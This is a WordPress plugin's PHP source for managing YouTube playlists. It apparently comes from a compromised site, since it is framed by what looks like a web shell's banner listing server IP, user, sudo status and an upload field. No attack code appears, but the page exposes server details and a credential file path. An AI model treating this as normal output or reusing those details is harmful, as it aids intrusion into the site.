Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/hopeinstoughton_www/wp-content/plugins/youtube-playlist/ |
Upload File : |
<?php
/*
Plugin Name: YouTube Playlists
Plugin URI: http://hostz.org/
Description: Manage Youtube Playlists
Version: 1.0.0
Author: Phil Young
Author URI: http://hostz.org/
License: Whatever
*/
/*
For service account, need to go to admin.google.com and log in as admin...
main menu -> Security => Access and data controls => API controls
(down bottom) -> Domain wide delegation -> Manage -> ... -> OAuth Scopes
log in to youtube = create playlists - add/remove/rebuild items
maybe: create entry for streaming video
*/
use \Google\Client;
use \Google\Service\YouTube;
use \Google\Service\YouTube\PlaylistSnippet;
use \Google\Service\YouTube\PlaylistStatus;
use \Google\Service\YouTube\PlaylistItem;
use \Google\Service\YouTube\PlaylistItemSnippet;
use \Google\Service\YouTube\Playlist;
class youtube_playlist_class {
const CHANNEL = 'UCIi20hlVjzrt04G3YPNRTgw';
const OPTIONGROUP = 'login-options';
private $valid;
private $old_playlist;
private $event_id;
public function __construct() {
@session_start();
$this->valid = $_SESSION['playlist_valid'] ?? 0;
$this->URL = plugin_dir_url(__FILE__);
add_action( 'wp_loaded', [$this, 'custom_urls'], 5 ); // custom urls
if ($this->valid) {
add_action( 'event_save_before', [$this, '__eventsave'] );
add_action( 'event_save_after', [$this, '__eventaftersave'] );
}
add_action( 'event_fields', [$this, '__eventfields'] , 50, 2);
}
public function fetchAccessToken() {
$client = $this->getGoogleClient();
$access_token = $client->fetchAccessTokenWithAssertion();
return $access_token;
}
protected function getGoogleClient() {
$client = new \Google\Client();
$client->setAuthConfig(__DIR__ . '/bulk-email-445521-a159a94e7089.json');
$client->useApplicationDefaultCredentials();
$client->addScope(YouTube::YOUTUBE);
$client->setApplicationName('youtube3'); // change app name whenever scope permissions change for Domain-wide Delegation
return $client;
}
public function custom_urls() {
$cache = $_SERVER['REQUEST_URI'];
if (($p = strpos($cache, '?')) !== FALSE) {
$cache = substr($cache, 0, $p);
}
$admin = current_user_can('editor') || current_user_can('administrator');
$isYouTube = (int) ($_GET['youtube'] ?? '0');
if ($isYouTube) {
setCookie('youtube', 1, 0, '/'); // for this session, assume login is for youtube as well
$_COOKIE['youtube'] = 1;
}
if ($admin) {
if (preg_match('#/~/test/(\d+)$#', $cache, $matches)) {
$this->CreatePlaylist((int)($matches[1] ?? '0'));
exit;
} elseif (preg_match('#/~/test$#', $cache, $matches)) {
header('Content-type: text/plain');
$this->Test();
exit;
}
}
}
public function Test() {
$client = $this->getGoogleClient();
$youtube = new YouTube($client);
// Set parameters for the request
$queryParams = [
'channelId' => static::CHANNEL, // Example: Google Developers Channel
'maxResults' => 25
];
// Call the playlists.list method
$response = $youtube->playlists->listPlaylists('snippet,contentDetails', $queryParams);
foreach ($response['items'] as $playlist) {
echo "Title: " . $playlist['snippet']['title'] . PHP_EOL;
echo "Playlist ID: " . $playlist['id'] . PHP_EOL;
echo "Item Count: " . $playlist['contentDetails']['itemCount'] . PHP_EOL . "---" . PHP_EOL;
}
}
protected function getGoogleClientAccess() { // get handle to logged-in users youtube account
$options = get_option(static::OPTIONGROUP, []);
$token = $_SESSION['google_token'];
$client = new \Google\Client([
'client_id' => $options['au_client_id'],
]);
$client->setClientSecret($options['au_secret']);
$client->addScope(YouTube::YOUTUBE);
$client->setAccessToken($token);
if ($client->isAccessTokenExpired()) {
$client->fetchAccessTokenWithRefreshToken($client->getRefreshToken());
// Store the updated token back to your database or session
$token = $client->getAccessToken();
$_SESSION['google_token'] = $token;
unset($client);
$client = new \Google\Client([
'client_id' => $options['au_client_id'],
]);
$client->setClientSecret($options['au_secret']);
$client->addScope(YouTube::YOUTUBE);
$client->setAccessToken($token);
}
return $client;
}
public function CreatePlaylist($event_id) {
global $wpdb;
if (!$event_id) die("Event Id not specified");
// load the event
$did = "'" . esc_sql($event_id) . "'";
$data = $wpdb->get_row("select me_id,me_topic,me_playlist,me_playlistid from mm_event where me_id=$did");
$playlist = $data->me_playlistid ?? '';
$client = $this->getGoogleClientAccess();
$youtube = new YouTube($client);
// this must be a real YouTube user, using OAuth2. Cannot use a service account to create/update playlists
// otherwise: "message": "Unauthorized", "domain": "youtube.header", "reason": "youtubeSignupRequired",
// do we have a playlist? if not create it and update database
if ($playlist == '') {
// 2. Define the playlist metadata (Snippet)
$playlistSnippet = new PlaylistSnippet();
$playlistSnippet->setTitle($data->me_topic);
// $playlistSnippet->setDescription('Visit us at https://hopeinstoughton.org/');
// 3. Define the privacy status
$playlistStatus = new PlaylistStatus();
$playlistStatus->setPrivacyStatus('public');
// 4. Combine into a Playlist object
$youTubePlaylist = new Playlist();
$youTubePlaylist->setSnippet($playlistSnippet);
$youTubePlaylist->setStatus($playlistStatus);
// 5. Execute the request
try {
$playlistResponse = $youtube->playlists->insert('snippet,status', $youTubePlaylist, []);
$playlist = $playlistResponse['id'];
$sql = 'update mm_event set me_playlistid=%s where me_id=%s';
$wpdb->query(
$wpdb->prepare($sql, $playlist, $event_id)
);
} catch (Google_Service_Exception $e) {
echo "Service error: " . $e->getMessage();
die('Error');
}
sleep(5); // wait for the playlist to be created
}
// get the list of videos to be added to the playlist
$sql = <<<BLOCK
select mixe_sequence, mi_title, mi_other, mi_date
from mm_item_x_event
inner join mm_item on mixe_item=mi_id
where mixe_event=%d
order by mixe_sequence
BLOCK;
$rows = $wpdb->get_results( $wpdb->prepare( $sql, $event_id) );
$target = [];
foreach($rows as $row) {
$payload = json_decode($row->mi_other, TRUE);
$current_link = $payload['youtube'] ?? '';
$res = ParseVideoUrl($current_link);
if ($res->source == 'youtube' && $res->id !== FALSE) {
$target[] = [ 'id' => $res->id, 'title' => $row->mi_title ];
}
}
// get the list of videos currently on the Playlist
// changing names of titles has to be done manually
$params = [
'playlistId' => $playlist,
'maxResults' => 100
];
$current = [];
// Call the playlistItems.list method
try {
$response = $youtube->playlistItems->listPlaylistItems('snippet,contentDetails', $params);
foreach ($response['items'] as $item) {
$current[] = [ 'id' => $item['contentDetails']['videoId'], 'title' => $item['snippet']['title'] ];
}
} finally {
}
$hasError = FALSE;
foreach($target as $tindex => $item) {
$found = FALSE;
foreach($current as $cindex => $x) {
if ($item['id'] == $x['id']) {
$found = $cindex;
break;
}
}
if ($found !== FALSE) { // already listed - no need to do anything
unset($current[$found]);
} else { // need to add it to the playlist
try {
// 2. Define the resourceId (the video to add)
$resourceId = new \Google\Service\YouTube\ResourceId();
$resourceId->setVideoId($item['id']);
$resourceId->setKind('youtube#video');
// 3. Define the snippet (the playlist container)
$playlistItemSnippet = new PlaylistItemSnippet();
$playlistItemSnippet->setPlaylistId($playlist);
$playlistItemSnippet->setResourceId($resourceId);
// 4. Create the PlaylistItem object
$playlistItem = new PlaylistItem();
$playlistItem->setSnippet($playlistItemSnippet);
// 5. Execute the insert request
// The "part" parameter defines which properties the API should return
$response = $youtube->playlistItems->insert('snippet', $playlistItem);
} catch (\Google\Service\Exception $e) {
echo "{$item['id']} API error: " . $e->getMessage();
$hasError = TRUE;
} catch (Exception $e) {
echo "General error: " . $e->getMessage();
$hasError = TRUE;
}
}
}
if ($hasError) die('Error');
// anything remaining in $current should be removed
}
public function __eventsave($payload) {
global $wpdb;
if ($payload->event_id) {
// get the old event
$did = "'" . esc_sql($payload->event_id) . "'";
$data = $wpdb->get_row("select me_playlist from mm_event where me_id=$did");
$this->old_playlist = (int) $data->me_playlist;
} else {
$this->old_playlist = 0;
}
$payload->types[] = '%d';
$payload->values['me_playlist'] = empty($_POST['me_playlist']) ? 0 : 1;
}
public function __eventaftersave($payload) {
// has the playlist changed? And Have we logged in as youtube
// if ($this->old_playlist != $payload->values['me_playlist']) {
if ($payload->values['me_playlist']) {
$this->CreatePlaylist($payload->event_id);
}
// }
}
function submit_button( $text = null, $type = 'primary', $name = 'submit', $wrap = true, $other_attributes = null ) {
return get_submit_button( $text, $type, $name, $wrap, $other_attributes );
}
public function __eventfields($payload, $mediamanager) {
global $wpdb;
$data = $payload->data;
if ($this->valid) {
$text = $mediamanager->FormField($data, 'me_playlist', 'YouTube Playlist', [ 'checkbox' => TRUE ] ); // ,'suffix' => '<a href="' . . '#">Log in to YouTube</a>'
$sql = <<<BLOCK
select mixe_sequence, mi_id, mi_title, mi_other, mi_date
from mm_item_x_event
inner join mm_item on mixe_item=mi_id
where mixe_event=%d
order by mixe_sequence
BLOCK;
$rows = $wpdb->get_results( $wpdb->prepare( $sql, $data->me_id) );
$topic = $data->me_topic;
$html = '';
foreach($rows as $row) {
$title = trim($row->mi_title);
if ($title != '') $title = " - {$title}";
$html .= "ren {$row->mi_id}.mp4 \"[{$row->mixe_sequence}] $topic{$title}.mp4\"\r";
}
$html = str_replace("—", '-', $html);
/* $text .= <<<BLOCK
</td></tr><tr><td></td><td>
<textarea name="unused" style="width:700px;height:150px">$html</textarea>
BLOCK;
// */
$payload->fields .= $text;
} else {
$text = '';
}
// $payload->buttons .= ' ' . $this->submit_button('YouTube Playlist', 'secondary', 'play', FALSE);
if (($data->me_playlistid ?? '') != '') {
$payload->buttons .= " <a href=\"https://www.youtube.com/playlist?list={$data->me_playlistid}\" target=\playlist\" rel=\"nofollow\" class=\"button\">YouTube Playlist</a>";
}
}
}
/*
if ($_SERVER['REMOTE_ADDR'] == '173.48.93.56')
*/
new youtube_playlist_class();